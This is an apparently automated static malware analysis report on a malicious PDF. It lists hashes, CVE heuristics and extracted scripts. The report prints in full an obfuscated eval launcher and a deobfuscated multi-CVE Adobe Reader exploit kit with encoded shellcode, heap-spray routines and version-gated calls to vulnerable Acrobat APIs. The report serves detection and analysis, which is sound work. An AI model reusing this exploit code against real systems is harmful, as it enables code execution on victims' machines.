Malicious PDF — malware analysis report

Static analysis result for SHA-256 cf81bc12d2fb7d3c…

MALICIOUS

PDF

28.9 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 90460de6c378083285b82773d01dc786 SHA-1: c1aaa20fd60f43c5dac5cda7c1ece4d38a1e3249 SHA-256: cf81bc12d2fb7d3c1befcb0b4853ade123c38acdbafd9a09badfd0972fadd3ba
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The String.fromCharCode heuristic further suggests obfuscation within the script. The embedded JavaScript file, 'javascript_obj0001_000.js', is the primary artifact. The likely intent of this script is to download and execute a second-stage payload, which is a common technique for initial access.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 623 bytes
SHA-256: 92f1b4c6cc1cf6e800f0415c5dda6e87bdffb964540bf842adc54d763220d8dc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
lmpvl='';
var q2 = date.getFullYear()-2007;
famtw='2011s'.replace(date.getFullYear(),'hi');
touyg=('.tit2011').replace(date.getFullYear(),'le');
Function('','qgq=t'+famtw+touyg)();
hdp=('sub2011').replace(date.getFullYear(),'ject');
Function('','pzj=t'+famtw+'.'+hdp)();
var pzj=pzj.replace(date.getFullYear(),'al');
Function('','vpo=t'+famtw+'.'+pzj)();
iep='.pro2011cer';
iep=vpo('iep.replace(date.getFullYear(),"du")');
Function('','gawhf=t'+famtw+iep)();
bza=vpo(gawhf);
xfex = vpo(qgq);
for (i = 0; i < xfex.length; i++) {
	xor = xfex[i];
	lmpvl += bza(xor);
}
vpo(lmpvl);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x33E 3636 bytes
SHA-256: aec18041da5365bf2e264fe6b2c6dd599e2422be496d3379dd25740a07156456
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ue334%ue2aa%uc3fa%ue5e8%uffff%u0aff%ue2ef%ue3e3%u62bd%ubf0f%ue3e2%u6ae3%u6e04%uf3ac%u8c6e%ud2b7%ub438%ub0b2%ub0b0%ub0b0%ub0b0%ub0b6%u8bb0%ue2e7%ue3e3%ub5b6%u8bb0%u8d8c%ue3e3%u968b%u8f91%ub78e%u6d8b%uedad%u0b0f%ue3ab%ue3e3%u0bb3%ue39f%ue3e3%u331c%u2760%u8beb%u0cac%ue6ac%u0bb3%ue38f%ue3e3%u331c%u2366%uf496%ub789%u10ba%u8b49%u1d91%uf550%ufe0b%ue3e3%ub3e3%ub20b%ue3e3%u1ce3%ub033%u1d89%u6a8b%ue28c%u0b5e%ue3eb%ue3e3%u0bb3%ue3df%ue3e3%u331c%ud283%u8723%ub368%u68d3%uefb1%ub168%u68f7%ucb91%ufb5a%ue3e3%ud2e3%ud21c%u4f23%u82df%ue19f%uc3cf%u2c22%ue2ee%u0124%u6213%ub81c%ua95f%u6889%uf3a1%uf168%u3a96%ua76a%uffc7%u2082%u6883%uc78f%u68c7%udfa6%ub768%u9be6%u09e2%ua968%u68fb%uc3b9%u08e2%ud700%u68aa%u68d7%u0de2%u1cd2%u23d2%u4f1f%u2367%ue497%u2c22%ue2ee%u0824%ud817%uc79f%u96cb%u6802%uc7b9%u08e2%u6885%ua8ef%ub968%ue2ff%u6808%u68e7%u0be2%ua76a%uffc7%u2182%ue3eb%u0c0b%u1c1d%u8b1c%u9797%ud993%ucccc%u8293%u9187%u80cd%ucd8c%u8080%u96cc%u93cd%u938b%u85dc%ud1de%uc5db%ude86%ue3d0';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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